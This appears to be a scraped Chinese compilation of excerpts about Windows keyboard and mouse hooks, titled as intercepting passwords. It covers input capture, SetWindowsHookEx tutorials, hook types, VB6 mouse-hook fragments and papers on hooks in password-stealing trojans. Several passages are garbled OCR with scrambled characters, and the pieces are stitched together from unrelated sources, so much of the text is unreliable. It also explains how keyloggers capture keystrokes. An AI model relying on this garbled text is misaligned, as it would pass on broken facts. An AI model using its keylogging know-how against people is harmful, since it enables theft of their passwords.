鼠标键盘钩子截获密码
输入捕获总结

输入捕获总结简介输入捕获是计算机领域中的一项技术,它可以记录和分析用户的输入行为。
输入行为包括键盘输入、鼠标点击、触摸屏操作等。
通过对输入捕获的分析,我们可以更好地了解用户的行为习惯,优化用户体验,提高软件的质量。
输入捕获的原理输入捕获的原理是通过操作系统提供的接口,捕获用户输入的相关信息。
在Windows操作系统中,可以使用钩子(hook)来实现输入捕获。
钩子可以截获特定的Windows消息,例如键盘输入消息(WM_KEYDOWN)、鼠标点击消息(WM_LBUTTONDOWN)等。
当钩子被触发时,可以在回调函数中获取到输入事件的详细信息,例如按下的键盘键码、鼠标点击的坐标等。
输入捕获的应用输入捕获在计算机领域有着广泛的应用。
以下是输入捕获的几个常见应用场景:1. 用户行为分析通过输入捕获,可以收集并分析用户的输入行为,从而了解用户的使用习惯和偏好。
这对于设计产品、优化用户体验非常重要。
例如,在网站的用户行为分析中,可以统计用户的鼠标点击位置和频率,以及键盘输入的内容和速度,从而优化页面布局和交互方式。
2. 安全防护输入捕获可以用于安全防护,例如实现键盘记录器的功能。
键盘记录器可以记录用户在计算机键盘上输入的内容,例如账号密码等敏感信息。
通过输入捕获,可以检测和阻止恶意程序对用户输入信息的获取,提高系统的安全性。
3. 软件调试和性能优化在软件开发过程中,输入捕获对于软件调试和性能优化也非常有帮助。
通过捕获用户的输入行为,可以定位软件中可能存在的bug和性能瓶颈。
例如,在游戏开发中,可以捕获玩家的键盘输入和鼠标点击来优化游戏的响应速度和控制体验。
输入捕获的挑战尽管输入捕获在很多领域都有广泛的应用,但是它也面临一些挑战。
1. 隐私问题由于输入捕获可以记录用户的输入行为,涉及到用户隐私的问题。
当需要使用输入捕获进行用户行为分析时,需要保证用户的个人信息得到合理的保护,遵守相关的法律法规。
2. 兼容性问题不同的操作系统和开发平台提供的输入捕获接口可能存在差异,导致跨平台的兼容性问题。
钩子函数捕捉键盘消息

利用钩子函数来捕捉键盘响应的windows应用程序一:引言:你也许一直对金山词霸的屏幕抓词的实现原理感到困惑,你也许希望将你的键盘,鼠标的活动适时的记录下来,甚至你想知道木马在windows操作系统是怎样进行木马dll的加载的…..其实这些都是用到了windows的钩子函数。
因此本文将对钩子函数的相关知识进行阐述。
当然,本文的目的并不是想通过此程序让读者去窃取别人的密码,只是由于钩子函数在windows系统中是一个非常重要的系统接口函数,所以想和大家共同的探讨,当然本文也对怎样建立动态连结库(DLL)作了一些简单的描述。
(本文的程序为vc6.0的开发环境,语言是:C和win32 api)。
二:钩子概述:微软的windowsX操作系统是建立在事件驱动的机制上的,也就是通过消息传递来实现。
而钩子在windows操作系统中,是一种能在事件(比如:消息、鼠标激活、键盘响应)到达应用程序前中途接获事件的机制。
而且,钩子函数还可以通过修改、丢弃等手段来对事件起作用。
Windows 有两种钩子,一种是特定线程钩子(Thread specific hooks),一种是全局系统钩子(Systemwide hooks)。
特定线程钩子只是监视指定的线程,而全局系统钩子则可以监视系统中所有的线程。
无论是特定线程钩子,还是全局系统钩子,都是通过SetWindowsHookEx ()来设置钩子的。
对于特定线程钩子,钩子的函数既可以是包含在一个.exe也可以是一个.dll。
但是对于一个全局系统钩子,钩子函数必须包含在独立的dll中,因此,当我们要捕捉键盘响应时,我们必须创建一个动态链接库。
但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。
由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。
鉴于这一点,在windows ce中对钩子程序并不支持。
用钩子截获系统汉字及字符输入的方案

/ 放 该 句 柄 / 释
I mmR l sC nethou , i ) e ae o tx(fc smymc ; e
Hok o 是Widw 提 供 的一 种 消息处 理 机 制 , 使得 程 序员 no s 它
可 以使 用子过 程来 监视 系统信 息 , 并在 消息 到达 目标 过程 前得
将 自 己 连 接 到 系 统 页 文 件 中 , 后 调 用 Ma V e O Fl( 获 得 然 p iw fi ) e
G t sa e P e Mesg 的消 息 , 视 鼠标 、 盘 输 入 和发 送 eMesg 或 ek sa e 监 键 到 队列 中的其 它消 息 。 方 案 3 WH— E B A D H o 使 应 用 程 序 可 以 监 视 由 : K Y O R ok
lmyhr. lnt: = m eC m oio Sr g ( ym . p sae ze g s h I mG to p s in tn t i m ic
1 汉 字 截 获基 础 知 识
11 Ho k 子 技 术 . o钩
GC R S IrT S E U J R, z ufr ,5 ) ] S @ab f ,2 6 ; e
G t s sg 和 P e Mesg 返 eMe ae ek sae
WH
—
回 的 W M K Y WN 及 E DO
—
指 向该 共享 内存 的 指针 , 以确 定要 访 问 的特 定 内存 区域 , 包括
起始 点 和大小 。 13 输 入 汉 字 串 的 获 取 -
K Y P 息 以及 发送 到消息 队列 中的键盘输 入 。 E U 消
对于 键盘 录人 汉字 的截获 方案 , 主要 以下三 种选 择 。
钩子程序

WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hook 回 放通 过 使 用 WH_JOURNALRECORD Hook 记录 下 来 的 连 续 的 鼠 标 和 键 盘 事 件 。 只 要 WH_JOURNALPLAYBACK Hook 已 经 安 装 , 正 常 的 鼠 标 和 键 盘 事 件 就 是 无 效 的 。 WH_JOURNALPLAYBACK Hook 是 全 局 Hook , 它 不 能 象 线 程 特 定 Hook 一 样 使 用 。 WH_JOURNALPLAYBACK Hook 返回超时值,这个值告诉系统在处理来自回放 Hook 当前消息之前 需要等待多长时间(毫秒) 。这就使 Hook 可以控制实时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 (估计按键精灵是用这个 hook 做的) 7、WH_JOURNALRECORD Hook WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 Hook 记录连续的 鼠标和键盘事件, 然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。 WH_JOURNALRECORD Hook 是全局 Hook,它不能象线程特定 Hook 一样使用。WH_JOURNALRECORD 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 8、WH_KEYBOARD Hook 在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息,这些消息通过 GetMessage or PeekMessage function 返回。可以使用这个 Hook 来监视输入到消息队列中 的键盘消息。 9、WH_KEYBOARD_LL Hook WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 10、WH_MOUSE Hook WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个 Hook 监视输入到消息队列中的鼠标消息。 11、WH_MOUSE_LL Hook WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消息框,对话框 消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。 WH_MSGFILTER Hook 只能监视 传递到菜单,滚动条,消息框的消息,以及传递到通过安装了 Hook 子程的应用程序建立的对 话 框 的 消 息 。 WH_SYSMSGFILTER Hook 监 视 所 有 应 用 程 序 消 息 。 WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过 滤消息。通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使用 这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里 一样。 13、WH_SHELL Hook 外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且当 顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子程。 WH_SHELL 共有5钟情況: 1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁; 2. 当 Taskbar 需要重画某个按钮; 3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式; 4. 当目前的键盘布局状态改变; 5. 当使用者按 Ctrl+Esc 去执行 Task Manager(或相同级别的程序) 。 按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL 消 息之前,应用程序必须调用 SystemParametersInfo function 注册它自己。
用VB6编的截获Windows消息的钩子的源码

Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP WM_RBUTTONDBLCLK = &H206
再例如:键盘的敲击动作,在别的地方敲击键盘,并没有在自己的Form中敲击键盘,怎么才能获得按键的具体键值呢?
对单片机有了解的朋友都知道,鼠标和键盘的操作都是利用的是“中断”触发事件来完成的,那么当系统“中断”的时候,就会发出消息给操作系统,而这些消息就是Windows全局消息。
If hHook = 0 Then
hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf HookProc, App.hInstance, 0)
End If
End Sub
Public Sub FreeHook()
If hHook <> 0 Then
模块代码:
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
HookProc = 0 '令待完成的動作繼續完成
'End If
End If
If wParam = WM_LBUTTONDOWN Then
Debug.Print "l"
钩子函数在盗号木马程序中的应用研究

容 易被 盗 号 木 马 利用 . 比如 我 们 发 送 的 即时 消 息 、 鼠标 激 活 的 个 参 数 . 用 一个 是 关 于记 录键 盘 的 钩 子 函 数 . 一 个 是 记 录 鼠 标 的 另
相应 程 序 或 代码 、 . 上 输 入 过 的 账 号 密 码 等 信 息 。 并且 , 子 钩 子 函数 键盘 钩 函 数还 可 以通 过修 改 或 丢 弃 等 手 段 来 对 事 件 起 作用 。
Wi, W 中 有 两 种 钩 子 . no s d 一种 是 特 定 线 程 钩 子 ( he dS e T ra p .
一
a WH K Y O R 当 使 用 键 盘 敲 打 消 息 即 键 盘 敲 打 的 每 ) E B A D: 个 字 符 .在 这 个 消 息 被 放 在 应 用 程 序 的 消 息 队 列 前 . N WI
提 供 了帮 助 。
【 关键 词 】 钩 子 , 号 木 马 , : 盗 函数
1引 言 .
钩 子 函数 的形 式 是 各 不 相 同 的 下 面 以 鼠标 钩 子 函 数 举 例 说 明
L ES T R UL C L AL BAC KHo k 1 c o P. ( 】
wP a . ARAM P r m) arm LP 1 aa '
账 户会 在 一 夜之 问被 病 毒 抛 售 一 空 证 券 大 盗 病 毒 是 一 种 盗 号
I t n o eW P i t C d . ARAM n .
参 数 w aa 和 1ra 包 含 所 钩 消 息 的 信 息 . 比 如 鼠 标 位 P rm P rm o
木 马病 毒 .中 了该 病 毒 的 计算 机 将 被 盗 取 关 于多 家 证 券 交 易 系 置 和 鼠标 状 态 或 者 键 盘 按 键 等 n o e是 指 有 关 消 息 本 身 的 信 Cd 统 的交 易 帐户 和 密 码 这 种 病 毒 在 2 0 0 7年 和 20 0 8年 又 出 现 了 息 . 如是 否 从 消 息 队列 中 移 出 我 们 可 以先 在 钩 子 函 数 中 实 现 比
利用日志钩子函数实现Windows系统信息的捕获

HHOOK S t id ws o E ( eW n o Ho k x
收 稿 日期 :0 1 2一O . 2 0 —1 1
第一作 者简 介 : 魏
东 (9 3 6 , , 士研 究 生 ; 1 7 . ~)男 硕 主要 研究方 向 : 计算 机 网络
有 些 系统 信息 如 : 人 的 密 码 等 , 盘钩 子 和 鼠标 钩子 是 无 法 提 取 出来 . 输 键 本 文提 出一 种 新 的 、 单 的 、 效 的捕 捉 系统 信息 的 方 法一 利 用 日志 钩 子 来 提 取 系 统 信 息 . 种 方 法 简 有 这
克服 了传统方法带来 的弊端 , 编程的效率大大得到 了提高 . 使
一
பைடு நூலகம்
般 来说 , 我们 要 捕 捉 系 统 信 息 的话 , 须 装载 相 应 的 钩 子 函数 , 捕 捉 键 盘 信 息 就 必 须 加 载键 盘 钩 必 如
子 . 种 方 法 较 为 麻烦 , 且 在 键 盘 钩子 和 鼠标 钩 子 处 理 系统 信 息 前 , 这 而 系统 已经 先 行 处 理 了这些 信 息 , 以 所
日志 钩 子 函数 在 系统 中优 先 级 最 大 , 般 情 况 下 日志 钩 子 是 在 系统 之 前 就 处 理 了 它 所 需 要处 理 的 信 一 息, 因此 对 于 日志钩 子 来 说 , 统 无 法将 它 所 需 的信 息 屏 蔽 , 日志 钩 子 无 法提 取 . 系 让 日志 钩 子 函 数 可 以提 取 出别 的钩 子 函数 无 法 提 取 的信 息 . 虽 然 严 格 地 说 日志 钩 子 是 全 局 钩 子 的一 种 , 是使 用 日志 钩 子 不 需 要 动 态链 接 库 , 全 局 钩 子则 必 须 但 而 要用 动 态 链 接 库 . 使 用 日志 钩 子 函数 时 , 先 安 装 钩 子 , 装 钩 子 函 数 我 们 一 般 通 过 HH K S t n 在 首 安 OO eWi.
c语言中钩子函数和回调函数的区别

C语言中钩子函数和回调函数的区别一、定义1. 钩子函数:钩子函数是在特定事件发生时自动调用的函数,用于拦截和处理这些事件。
在C语言中,钩子函数通常用于实现操作系统的消息处理机制,比如监控键盘、鼠标等输入设备的输入事件。
2. 回调函数:回调函数是作为参数传递给其他函数的函数,用于在特定事件发生时被调用。
在C语言中,回调函数通常用于实现异步操作,比如在网络通信中接收到数据时的处理。
二、调用方式1. 钩子函数:钩子函数是由操作系统或特定的库自动调用的,程序员无法直接调用钩子函数。
2. 回调函数:回调函数是作为参数传递给其他函数的,程序员需要在调用该函数时指定回调函数的名称或指针。
三、作用范围1. 钩子函数:钩子函数对系统的事件进行拦截和处理,可以改变系统的行为。
比如在Windows操作系统中,可以使用钩子函数来拦截键盘输入,实现快捷键功能。
2. 回调函数:回调函数用于在特定事件发生时被调用,通常用于实现异步操作或事件通知。
比如在网络通信中,可以使用回调函数来处理接收到的数据。
四、编程实现1. 钩子函数:在C语言中实现钩子函数通常需要调用操作系统或特定库提供的函数,并注册钩子函数。
钩子函数的实现方式因操作系统和应用场景的不同而异。
2. 回调函数:在C语言中实现回调函数通常需要定义一个函数指针类型,并将回调函数作为参数传递给其他函数。
在特定事件发生时,其他函数会调用指定的回调函数。
以上是C语言中钩子函数和回调函数的区别,虽然它们都涉及到在特定事件发生时调用函数,但是它们的定义、调用方式、作用范围和编程实现方式都有所不同。
深入理解这两种函数的区别对于提高程序员的编程技能和理解系统底层原理是非常有帮助的。
C语言中钩子函数和回调函数的区别继续扩写:五、应用场景1. 钩子函数:钩子函数通常用于监控、拦截和处理系统事件,比如键盘输入、鼠标点击等。
在图形用户界面(GUI)编程中,钩子函数常用于实现快捷键功能、鼠标事件处理等。
易语言鼠标钩子例程-概述说明以及解释

易语言鼠标钩子例程-概述说明以及解释1.引言1.1 概述鼠标钩子是一种监控和拦截鼠标消息的技术,可以通过这种技术来实现对用户鼠标操作的监听和控制。
在软件开发中,鼠标钩子可以用于实现各种功能,例如鼠标手势识别、鼠标宏录制、鼠标轨迹跟踪等。
易语言是一种国产的编程语言,具有简单易学的特点,广泛应用于软件开发领域。
本文将介绍易语言中如何实现鼠标钩子功能,并提供一个完整的鼠标钩子例程,帮助读者了解和应用这一技术。
通过学习本文,读者将能够掌握易语言中鼠标钩子的原理和实现方法,从而为自己的软件开发项目增添新的功能和效果。
1.2 文章结构文章结构部分应包含关于整篇文章的框架和重点内容的介绍。
在这部分可以简要描述本文将涵盖的主要内容和重点讨论的方向,以帮助读者更好地理解文章的脉络和逻辑结构。
例如:文章结构部分介绍了本文的整体框架和内容细节安排。
本文将首先介绍鼠标钩子的概念和作用,然后重点讨论在易语言中实现鼠标钩子的方法和步骤。
最后,结论部分将总结易语言鼠标钩子的重要性,并展望其未来发展的前景。
通过这样清晰的结构安排,读者可以更好地理解本文的内容,从而更容易获取所需信息。
1.3 目的本文旨在介绍易语言中鼠标钩子的相关知识和例程,帮助读者了解什么是鼠标钩子以及如何在易语言中实现鼠标钩子功能。
通过本文的阐述,读者可以学习到鼠标钩子的基本原理和编写步骤,进而应用到实际的软件开发中。
同时,本文也旨在强调易语言鼠标钩子的重要性和优势,帮助读者更好地理解和使用该功能,并展望易语言鼠标钩子在未来的发展趋势。
通过本文的阐述,读者可以进一步拓展自己的编程技能,提高自己在软件开发领域的实践能力和经验。
2.正文2.1 什么是鼠标钩子:鼠标钩子(Mouse Hook)是一种用于拦截和监视鼠标消息的技术。
通过安装鼠标钩子,我们可以在鼠标事件发生时对其进行处理,如记录鼠标的移动轨迹、监控鼠标点击操作、实现鼠标手势等功能。
在Windows操作系统中,鼠标钩子是一种底层的系统级编程技术,可以被用来截获和处理鼠标事件。
使用钩子定时锁住系统——保护电脑使用者的眼睛

维普资讯
装 在 动 态 链 接 库 中才 可 以 使用 。 3 钩 子 的安 装 与 卸 载 . 由于 全 局 钩 子 具 有 相 当 的广 泛 性 而 且 在 功 能 上 完 全 覆 盖 了 线 程 钩 子 , 因此 下 面 就 主 要对 应用 较 多 的全 局 钩 子 的 安 装 与使
. ! h o k U e=S t id ws ok x W H MOUS , f 《 h o MO S 《 e W n o Ho E 《 E
用进行讨论 。前面 已经提过 ,操作 系统是通过调用钩子链表 开
始 处 的第 一 个 钩 子 处 理 函数 而 进 行 消 息 拦 截 处 理 的 。 因此 ,为 了设 置 钩 子 ,只 需将 回调 函数 放 置 于 链 首 即 可 ,操 作 系 统 会 使 其 首 先 被 调 用 。 在具 体 实 现 时 由函 数 St no s ok x ) 责 e Widw H o E (负 将 回调 函数 放置 于钩 子 链 表 的 开 始 位置 。 4 .具 体 实 现
微软公司推出的dotnet平台架构具有支持多种编程语本文将介绍一种方式它基于http协议分为客户端和言执行效率高可移植性好等特点因此下面将具体说明服务器端两部分程序在一个客户端用httpwebrequest对象如何在dotnet环境下实现跨intemet的文件加密上传和下载
维普资讯
本软件分为两部分 ,一部分是主程 序 ,其 为一个工程 ,另
一
部分是钩子函数 ,其在动态连接库里 。下 面介绍这两部分内
( )主 程 序 1
/ 函数将撤销 由 h o k u e指定的钩子。 / h o Mo s
}
容。
三 、 实现
1 Widw 程 序 的 工 作 原理 . no s
计算机网络泄密原因分析与对策

计算机网络泄密原因分析与对策摘要:21世纪是信息技术主导的时代,网络技术的快速发展便是最好的例证。
随着计算机网络的蓬勃发展,它在给人们带来便利的同时,也因为泄密问题困扰着人们。
维护网络信息的安全需要从网络技术、通信技术、信息安全技术、密码技术、信息论以及计算机科学等诸多方面来综合考量。
在不同时代,威胁网络信息安全的因素也是不同的,相关防范措施也必须与时俱进。
在该文中,笔者就导致计算机网络泄密的因素以及相关防范措施进行了分析。
关键词:计算机;网络泄密;原因;对策在当前,计算机网络不仅仅应用企业当中,更是飞入寻常百姓家,与人们的日常生活结合得更加紧密,但是层出不穷的网络泄密事件严重影响着计算机网络的健康发展。
1常见的网络泄密原因1.1安全漏洞泄密世界上没有完美无缺的系统,任何系统都存在着某些漏洞。
系统漏洞具体表现为:1)入侵用户的操作系统,植入木马非法获取信息。
以特洛依木马术为例,它能够隐藏在正常软件背后,软件在执行预定任务的过程中,木马也会在后台执行非法任务,但是用户却浑然不知。
2)恶意破坏用户的操作系统,阻碍系统的正常运行,病毒便是非常典型的例子,作为一种恶意程序,可以通过复制自身或者再生等感染整个系统,破坏系统数据或者占用系统资源,最终瘫痪系统。
3)阻碍系统预定任务的执行,典型的例子便是逻辑炸弹等。
4)黑客攻击,能够认为修改甚至破坏系统的各项功能,使其不能正常工作甚至瘫痪。
系统漏洞就会成为泄密的重要诱因。
第一,未经授权的非法用户能够利用长期试探、冒名顶替以及其他途径来窃取口令,并窃取重要的信息。
第二,网络规模越的扩大必然导致线路通道分支的增加,输送信息的区域也会随之扩大,这也在无形中为截取信息信号提供了便利。
控制网络中信息流路的难度增加,信息泄露就更加容易,例如,窃密者只需在某条网络分支信道、某个网络节点或者网络终端实施信息截取,能够比较容易地获取整个网络输送的全部信息。
1.2木马原因泄密木马大多数诞生于黑客(多为计算机高手)之手。
警惕利用银行ATM机作案的十种手法

警惕利用银行ATM机作案的十种手法 2007年10月15日 10:18 新华网新华网福州10月15日专电(记者郑良)针对当前不法分子利用银行ATM柜员机进行诈骗、盗窃客户资金等违法犯罪案件频发,福建龙岩警方日前披露该类犯罪的十种常见手法,提醒市民警惕该类犯罪。
龙岩市公安局经济犯罪侦查支队负责人告诉记者,不法分子的骗术主要表现为,骗术一:不法分子冒用银行或发卡机构等金融部门名义,在ATM柜员机上粘贴"温馨提示"等虚假信息"通告",然后用透明胶带塞进ATM柜员机吐钞口,使机器里的钞票无法正常吐出,前来取钱的客户不能取钞,情急之下就会拨打ATM柜员机上粘贴的"通告"提供的"服务热线",被不法分子诱骗进行转账操作。
骗术二:不法分子使用铁钩、镊子、胶带和假键盘等工具,将一个特制的铁钩放入ATM 柜员机的插口,造成银行卡被吞的假象,诱骗客户按提示操作,泄露银行卡密码。
等客户走后,犯罪分子再拉出钩子,取出银行卡窃取现金。
骗术三:在客户使用ATM柜员机取款时,不法分子上前搭话,分散其注意力,设法窃取客户银行卡账户信息和密码或调换客户银行卡。
骗术四:不法分子在键盘上安装盗码器。
目前有一种盗码器能贴在银行提款机的按键上,客户按下的密码会被自动记录下来。
当客户按步骤输入密码,屏幕却显示"此卡被银行保管",之后操作无法继续进行,假键盘背后的电路板可以将取款人输入的密码直接发射出去。
骗术五:不法分子利用假插卡槽作案。
不法分子将假的ATM柜员机插口固定在原来真插口的位置,客户将银行卡插入假插口后,假插卡槽内部设置的读写装置能复制卡上全部信息。
骗术六:不法分子在广告夹里藏摄像镜头。
在一些ATM柜员机旁边有一个广告夹,这个文告夹里可能藏着一个微型摄像机,通过摄像机将键盘和荧屏上的资讯拍下来,并传到200米之外。
骗术七:不法分子在ATM柜员机上安装秘密摄像装置,窃取持卡人密码;同时,捡拾持卡人取款后遗弃的取款凭条获取持卡人卡号,再利用电脑、读写磁机将卡号写入另一张磁卡上,变造银行卡后使用。
钩子函数使用

动态链接库。但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。
由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。鉴于这一点,在windows ce中对钩子程序并不支持。所以当程序完成并退出时,
应当释放钩子,调用函数:UnhookWindowsHookEx。
下面我们将举一个例子(捕捉键盘)来详细的讲解钩子函数的程序设计。
三:程序的设计:
键盘敲打消息的信息,并且,键盘敲打消息一直没有从消息队列中删除。(应用程序调用PeekMessage函数,并且设置PM_NOREMOVE标志)。也就是说当nCode等于HC_ACTION时,
钩子进程必须处理消息。而为HC_NOREMOVE时,钩子进程必须传递消息给CallNextHookEx函数,而不能做进一步的处理,而且必须有CallNextHookEx函数的返回值。
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE *fp;
if(lParam&0x80000000)
{
j = wParam;
fp=fopen("c:\\hook\\key.txt","a");
DllExport void EndHook(void);
软键盘的技术风险透析及防范

通过 消 息 队列 的方 式 把 该 消息 传送 给 对应 的应 用程 序 。
通 过 上 述 对 比分 析 可 知 ,通 常 的 软 键 盘 都 规 避 了
例如当用户在 密码输 入框 中用物理键 盘输入密码 时 ,
物理键盘消 息 ,能有效 防范基于 “ 键盘钩 子”技术木
Wid w 系统 的消息机制将把物理键 盘按键消息通过 马的威胁 。由于当前主流木 马都是通过 “ 盘钩子 ” no s 键
“ 盘 钩 子 ” 技 术 ,所 以 这 种 软 键 盘 安 全 性 并 不 比 软键 盘不仅能 防范基于 “ 键 键盘 钩子”技术 的键盘 记录
物理键盘 高 。
恶 意 程 序 ,也 能 防范 基 于 “ O C M接 口” 技 术 的键 盘 记
录恶 意程序 ,安全性 较高 ,而且还 能通过加载驱动 的
由鼠标点击相应按键图像完成输入 。一方面,对绝大多
险 。本文 将 从软 键 盘 与物 理键 盘 安 全性 比较 、不 同软 键 数软键盘来说 ,点击软键盘按键时不会产生物理键盘按 盘 技术 特 点 对 比 、软键 盘 安 全风 险及 防范 三 个方 面来 探 键消息 ,所 以木 马无法通过 “ 键盘钩子”技术拦截按键 讨 软键 盘 的安全 性 问题 。
二 、不 同软 键盘 技术 的特点 对 比
方式进 一步 提高 安全性 。但 是Acie t X技术本 身有 一 v
目前 ,主流 的 软键 盘 可 以 按照 技 术特 点分 为 三 定 安全 风险 ,如果 A t e ci X控 件软键盘 自身 设计不 合 v
类 :Jv S r t 键 盘 、Acie a a ci 软 p t X控 件 软 键 盘 、 客 户 端 理 ,将 严 重 影 响 其安 全 性 。从 总 体 看 ,A t e 控 件软 v ci X v 程 序 软 键 盘 。 由于 软 键 盘 的 安 全 性 及 其 实 现 技 术 密 切 键 盘 相 对 于 Jv S r t 键 盘 来 说 其 优 点 是 安 全性 有 很 a a ci 软 p
输入捕获的原理

输入捕获的原理
输入捕获是指通过程序或设备获取与计算机或系统进行交互的输入信息的过程。
它通常涉及监听和记录键盘、鼠标、触摸屏、摄像头、麦克风等输入设备的操作行为和数据。
输入捕获的原理可以分为以下几个步骤:
1. 按键监听:输入捕获程序或设备会监控键盘输入,包括键盘按键的按下和释放操作。
它可以通过低级别的操作系统API
(如Windows的hook机制)来注册一个键盘钩子,用于监控
和截获键盘消息。
2. 鼠标监听:输入捕获程序或设备会监控鼠标输入,包括鼠标的点击、移动和滚轮事件等。
它可以通过类似的方法来注册一个鼠标钩子,用于监控和截获鼠标消息。
3. 触摸屏监听:输入捕获程序或设备可以通过操作系统提供的触摸屏驱动接口,监听和处理触摸屏所产生的触控事件,如触摸、滑动、缩放等。
4. 设备数据获取:输入捕获程序或设备可以通过读取输入设备的原始数据流来获取更详细的输入信息。
比如,它可以读取鼠标或触摸屏的原始坐标数据、压感数据、按钮状态等。
5. 数据记录和处理:输入捕获程序或设备会将获取到的输入信息进行记录和处理。
记录可以以原始数据的形式保存下来,也可以进行进一步的分析和处理,比如提取关键信息、生成输入
日志等。
需要注意的是,输入捕获程序或设备的工作通常需要在操作系统层面进行,需要相应的权限和许可才能获取和处理输入信息。
此外,为了保护用户的隐私和安全,一些操作系统和应用程序可能会限制或禁止对输入信息进行捕获。
小鬼当差 黑客莫进

凳型的鼬 赴锄 于 舳拦截 。 但是 . 有的程 r礼使j 早 } j
丈采—定-垃电 小鬼当家 剧 中的 小鬼”同—仳盗眦斗智
快 键、 老板鼬n时 候, 会 ¨H键盘 钶于丽敞 口 电 嗣1
( 3 闭 ) 由 r 。  ̄ rTp D 是一个截 匿软 Hy Sl x 5 a
} 器 舶规则删 除城者 . 划 这样 即使I 浏 览器被 E
小码刊刷.也丸法垭接到瓦联网被照客利j 。 } i 研以 . H拦柯这 蝇 9打 阡. 鹅 于 艇 电会被
拦 l 龇
舛 . 电‘美》 征还不能 翱 义数据 讣 小 伽 定 包正地规 州, l 序 乖身 经内髓 了一些规 则. 上 比如我1 r从对 Q 7. ]f q援进倩息进行 过滤 c 5。 圄 )
维普资讯
謦
雠 腿锄 n时 ^ ; .]J |判断是 允许 忡f { 枢 lf 攫 :l f
l ' 黑客莫进 =一 莓 )I 鬼
m JH { ’ ’ ’ …
安 装 鼬 鼬 I ( 3) 小 魁当差 支持 对 嘲 ,
W H KEYI AR .W I J  ̄) D 1 OU R NAI REC ORD
r 当有棚序发送邮件对. . 防心喘姚会4出提示 单 槭 ( 2, :j 琏择 避面f 托送 ☆什 . ) } } cr 这样
就可 很 地 防范 些 々f谥窃 街懈 进到 】 f : 远槲 盯 信箱 I.健,J { 1 } P , {} i J !
悭彬 响
【 视和记录输入事件
小姐当罄* I " 芈惮 , H娃先 f4 肖 【J tJ 而 伞免贽的绿色软件.r 载 压后曲接运行 Xag ce e 可以 动防 l埔 厂 [ d. 就 o x 儿 。腑动 后.小鬼 “ 绵小别 系 乜 [ l i I 匀 , : 一 。  ̄ 嫱 ” r u
键盘记录 原理

键盘记录原理
键盘记录是一种记录用户键盘输入的技术。
它利用计算机系统内部的软件或硬件机制来截取并记录用户在键盘上按下的按键信息。
键盘记录的原理基于计算机系统对键盘输入的处理过程。
当用户按下键盘上的一个按键时,键盘会发送相应的键码(scan code)给计算机系统。
计算机系统接收到键码后,会进行相应的处理,将键码转换为可识别的字符或命令,并执行相应的操作。
在键盘记录过程中,通常通过拦截键盘输入的接口或钩子技术来实现。
拦截接口可以捕获键盘输入的原始数据,而钩子技术可以截取键盘事件,并在事件处理过程中进行记录。
拦截接口一般由操作系统提供,并通过内核级别实现,因此可以完全截取键盘输入。
钩子技术则可以通过在操作系统中设置键盘事件的钩子函数来实现截取。
当键盘记录器植入计算机系统后,它会在用户按下键盘上的按键时记录按键信息。
记录的信息可以包括按键的时间、按键的键码或字符,以及按键的顺序等。
这些信息会被存储在键盘记录器内部的存储器中,或者被发送到攻击者控制的服务器或存储设备上。
键盘记录技术在一些特定的场景中被使用,比如在调查研究、审计、监控等方面。
然而,它也有潜在的风险,因为攻击者可以通过非法的手段植入键盘记录器来获取用户的敏感信息,如
用户名、密码、信用卡号码等。
为了保护用户的隐私和安全,用户可以采取一些措施来防范键盘记录攻击。
这些措施包括定期检查计算机系统是否受到键盘记录器的攻击、使用安全的密码管理工具、及时更新操作系统和应用程序,以及避免在不可信的计算机上输入敏感信息等。
C#Hook

C#Hook前⾔ 在说C# Hook之前,我们先来说说什么是Hook技术。
相信⼤家都接触过外挂,不管是修改游戏客户端的也好,盗取密码的也罢,它们都是如何实现的呢? 实际上,Windows平台是基于事件驱动机制的,整个系统都是通过消息的传递来实现的。
当进程有响应时(包括响应⿏标和键盘事件),则Windows会向应⽤程序发送⼀个消息给应⽤程序的消息队列,应⽤程序进⽽从消息队列中取出消息并发送给相应窗⼝进⾏处理。
⽽Hook则是Windows消息处理机制的⼀个平台,应⽤程序可以在上⾯设置⼦程以监视指定窗⼝的某种消息,⽽且所监视的窗⼝可以是其他进程所创建的。
当消息到达后,在⽬标窗⼝处理函数之前处理它。
钩⼦机制允许应⽤程序截获处理window消息或特定事件。
